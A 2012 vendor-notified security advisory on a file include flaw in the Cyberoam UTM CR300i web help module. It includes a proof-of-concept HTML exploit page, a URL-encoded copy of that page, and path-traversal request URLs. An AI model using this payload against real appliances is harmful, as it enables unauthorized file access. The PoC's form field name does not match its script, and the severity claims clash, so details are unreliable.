Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)VULNERABLE:498
Document Title:
===============
Cyberoam UTM v10.01.2 b59 - File Include Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=498
Release Date:
=============
2012-04-14
Vulnerability Laboratory ID (VL-ID):
====================================
498
Common Vulnerability Scoring System:
====================================
6.8
Product & Service Introduction:
===============================
Cyberoam Unified Threat Management appliances offer comprehensive security to organizations,
ranging from large enterprises to small and branch offices. Multiple security features
integrated over a single, Layer 8 Identity-based platform make security simple, yet highly effective.
Cyberoam, with its Extensible Security Architecture (ESA) and multi-core technology carries the
ability to combat future threats to organizationsβ security.
Overview:
Stateful Inspection Firewall
VPN (SSL VPN & IPSec)
Intrusion Prevention System
Anti-Virus & Anti-Spyware
Anti-Spam
Web Filtering
Bandwidth Management
Application Visibility & Control
Web Application Firewall
3G / WiMAX Connectivity
IM Archiving & Controls
Multiple Link Management
On-Appliance Reporting
IPv6 Ready
Wi-Fi Appliances
(Copy of the Vendor Homepage: http://www.cyberoam.com/utmoverview.html )
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a File Include Vulnerability on the Cyberoam UTM Appliance CR300i 10.01.2 build 059.
Vulnerability Disclosure Timeline:
==================================
2012-03-20: Vendor Notification
2012-04-01: Vendor Response/Feedback
2012-04-01: Vendor Fix/Patch
2012-04-15: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Elitecore Technologie
Product: Cyberoam UTM Appliance CR300i 10.01.2 build 059
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A high severity File Include vulnerability is detected on the Cyberoam UTM Appliance CR300i 10.01.2.
The vulnerability allows an local low privileged user account to request local system or application files
(example:telnet-service jsp). Successful exploitation can result in dbms or service/appliance compromise
via file include vulnerability. The vulnerability is located on the WWWHELP &file= value request which
allows the privileged attacker to implement a local appliance path to request in a context frame the system files.
Vulnerable Module(s):
[+] WW HELP &file=
[+] API &file=
Affected Version(s):
[+] Cyberoam UTM Appliance CR300i 10.01.2 build 059
Picture(s):
../1.png
../2.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privileged accounts & without user inter action.
For demonstration or reproduce ...
<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Cyberoam UTM Appliance CR300i 10.01.2 - LOCAL FILE INCLUDE EXPLOIT</title><script language="JavaScript">
var dir="/onlinehelp/wwhelp/wwhimpl/js/html/"
var file="/wwhelp.htm?"
var parameter ="#context=Online_help&file="
var shell="../corporate/webpages/index.jsp"
function command() {
if (document.rfi.target1.value==""){
alert("EXPLOITATION FAILED!");
return false;
}
rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script></head>
<body bgcolor="#000000"><center>
<p><font size="4"><b><font face="Verdana" color="#008000">- <font color="#999999">Cyberoam UTM Appliance CR300i 10.01.2 [UTM]
Appliance Application</font> <font color="#990000">- LOCAL FILE INCLUDE EXPLOIT</font> -</font></b></font></p>
<p><br><iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p><form method="post" target="getting" name="rfi" onSubmit="command();">
<p><b><font face="Arial" size="2" color="#FF0000">TARGET:</font><font face="Arial" size="2" color="#808080"> http://target.[COM]/</font>
<font color="#FF0000" size="2"> </font></b>
<input type="text" name="target12" size="50" style="background-color: #006633" onMouseOver="javascript:this.style.background='#808080';"
onMouseOut="javascript:this.style.background='#808000';">
<input type="submit" value="Request!" name="B12">
<input type="reset" value="Erase!" name="B22">
</p>
</form>
</center></body></html>
... or
<script language=JavaScript>m='%3Chtml%3E%3Chead%3E%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/
html%3B%20charset%3Dwindows-1254%22%3E%0A%3Ctitle%3ECyberoam%20UTM%20Appliance%20CR300i%2010.01.2%20-%20LOCAL%20
FILE%20INCLUDE%20EXPLOIT%3C/title%3E%3Cscript%20language%3D%22JavaScript%22%3E%0A%0Avar%20dir%3D%22/onlinehelp/
wwhelp/wwhimpl/js/html/%22%0Avar%20file%3D%22/wwhelp.htm%3F%22%0Avar%20parameter%20%3D%22%23context%3DOnline_help
%26file%3D%22%0Avar%20shell%3D%22../corporate/webpages/index.jsp%22%0A%0Afunction%20command%28%29%20%7B%0Aif%20%28
document.rfi.target1.value%3D%3D%22%22%29%7B%0Aalert%28%22EXPLOITATION%20FAILED%21%22%29%3B%0Areturn%20false%3B%0A
%7D%0Arfi.action%3D%20document.rfi.target1.value+dir+file+parameter+shell%3B%0Arfi.submit%28%29%3B%0A%7D%0A%3C/script
%3E%3C/head%3E%0A%3Cbody%20bgcolor%3D%22%23000000%22%3E%3Ccenter%3E%0A%3Cp%3E%3Cfont%20size%3D%224%22%3E%3Cb%3E%3
Cfont%20face%3D%22Verdana%22%20color%3D%22%23008000%22%3E-%20%3Cfont%20color%3D%22%23999999%22%3ECyberoam%20UTM%20
Appliance%20CR300i%2010.01.2%20%5BUTM%5D%20%0AAppliance%20Application%3C/font%3E%20%3Cfont%20color%3D%22%23990000
%22%3E-%20LOCAL%20FILE%20INCLUDE%20EXPLOIT%3C/font%3E%20-%3C/font%3E%3C/b%3E%3C/font%3E%3C/p%3E%0A%3Cp%3E%3Cbr%3E
%3Ciframe%20name%3D%22getting%22%20height%3D%22337%22%20width%3D%22633%22%20scrolling%3D%22yes%22%20frameborder%3D
%220%22%3E%3C/iframe%3E%0A%3C/p%3E%3Cform%20method%3D%22post%22%20target%3D%22getting%22%20name%3D%22rfi%22%20onSubmit
%3D%22command%28%29%3B%22%3E%0A%20%20%3Cp%3E%3Cb%3E%3Cfont%20face%3D%22Arial%22%20size%3D%222%22%20color%3D%22%23FF0000
%22%3ETARGET%3A%3C/font%3E%3Cfont%20face%3D%22Arial%22%20size%3D%222%22%20color%3D%22%23808080%22%3E%20http%3A//target.
%5BCOM%5D/%3C/font%3E%20%0A%20%20%3Cfont%20color%3D%22%23FF0000%22%20size%3D%222%22%3E%20%3C/font%3E%3C/b%3E%0A%20
%20%20%20%20%20%3Cinput%20type%3D%22text%22%20name%3D%22target12%22%20size%3D%2250%22%20style%3D%22background-color
%3A%20%23006633%22%20onMouseOver%3D%22javascript%3Athis.style.background%3D%27%23808080%27%3B%22%20%0A%0AonMouseOut
%3D%22javascript%3Athis.style.background%3D%27%23808000%27%3B%22%3E%0A%20%20%20%20%20%20%3Cinput%20type%3D%22submit
%22%20value%3D%22Request%21%22%20name%3D%22B12%22%3E%0A%20%20%20%20%3Cinput%20type%3D%22reset%22%20value%3D%22Erase
%21%22%20name%3D%22B22%22%3E%0A%20%20%3C/p%3E%0A%20%20%3C/form%3E%0A%3C/center%3E%3C/body%3E%3C/html%3E';
d=unescape(m);document.write(d);</script>
Reference(s):
http://utm.xxx.com/onlinehelp/wwhelp/wwhimpl/js/html/wwhelp.htm#context=Online_help&file=[LFI]../corporate/webpages/index.jsp
http://utm.xxx.com/onlinehelp/wwhelp/wwhimpl/api.htm?context=Online_help&file=[LFI]../corporate/webpages/index.jsp
Solution - Fix & Patch:
=======================
THIS ISSUES HAS BEEN PATCHED WITH THE LAST FIRMEWARE RELEASE [> 10.01.2 build 158 <]
Security Risk:
==============
The security risk of the local file include vulnerability is estimated as high(+).
Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright Β© 2012 | Vulnerability Laboratory